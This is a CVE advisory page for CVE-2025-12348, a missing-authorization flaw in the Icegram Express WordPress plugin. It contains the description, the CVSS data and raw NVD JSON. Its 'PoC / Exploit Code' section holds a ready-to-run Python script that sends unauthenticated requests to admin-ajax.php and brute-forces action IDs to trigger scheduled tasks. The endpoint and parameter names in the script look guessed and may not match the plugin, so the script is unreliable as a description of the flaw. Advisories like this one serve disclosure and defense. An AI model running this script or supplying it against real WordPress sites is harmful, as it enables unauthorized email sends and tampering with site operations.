Security Vulnerability Report
中文
CVE-2025-12348 CVSS 5.3 MEDIUM

CVE-2025-12348

Published: 2025-12-12 10:15:48
Last Modified: 2026-04-15 00:35:42

Description

The Icegram Express - Email Subscribers, Newsletters and Marketing Automation Plugin for WordPress is vulnerable to Missing Authorization in versions up to, and including, 5.9.10. This is due to the plugin not properly verifying that a user is authorized to perform an action in the `run_action_scheduler_task` function. This makes it possible for unauthenticated attackers to execute scheduled actions early or repeatedly by guessing action IDs, potentially triggering email sends, maintenance tasks, or other privileged operations, causing unexpected state changes and resource usage.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Icegram Express <= 5.9.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-12348 PoC - Missing Authorization in Icegram Express # Target: WordPress site with Icegram Express plugin <= 5.9.10 def exploit(target_url, action_id): """ Exploit missing authorization in run_action_scheduler_task function """ # Construct the vulnerable endpoint endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Action IDs are typically numeric values # Common patterns: 1-10000 for sequential IDs data = { 'action': 'ig_es_run_action_scheduler_task', 'action_id': action_id, # Guessed action ID 'execute_now': 'true' } try: response = requests.post(endpoint, data=data, timeout=10) if response.status_code == 200: print(f"[*] Request sent for action_id: {action_id}") print(f"[*] Response: {response.text[:200]}") return True except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return False def brute_force_actions(target_url, start_id=1, end_id=1000): """ Brute force action IDs to trigger scheduled tasks """ print(f"[*] Starting brute force on {target_url}") print(f"[*] Testing action IDs from {start_id} to {end_id}") for action_id in range(start_id, end_id + 1): exploit(target_url, action_id) if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <action_id>") print(f"Example: python {sys.argv[0]} http://example.com 123") sys.exit(1) target = sys.argv[1] action_id = int(sys.argv[2]) exploit(target, action_id)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12348", "sourceIdentifier": "[email protected]", "published": "2025-12-12T10:15:48.343", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Icegram Express - Email Subscribers, Newsletters and Marketing Automation Plugin for WordPress is vulnerable to Missing Authorization in versions up to, and including, 5.9.10. This is due to the plugin not properly verifying that a user is authorized to perform an action in the `run_action_scheduler_task` function. This makes it possible for unauthenticated attackers to execute scheduled actions early or repeatedly by guessing action IDs, potentially triggering email sends, maintenance tasks, or other privileged operations, causing unexpected state changes and resource usage."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/email-subscribers/tags/5.9.4/lite/includes/classes/class-es-queue.php#L50", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/email-subscribers/tags/5.9.4/lite/includes/classes/class-ig-es-background-process-helper.php#L194", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3394838/email-subscribers/trunk/lite/includes/classes/class-ig-es-background-process-helper.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c6ba7244-0ecf-412f-9b8b-6b81fa6cdeb5?source=cve", "source": "[email protected]"}]}}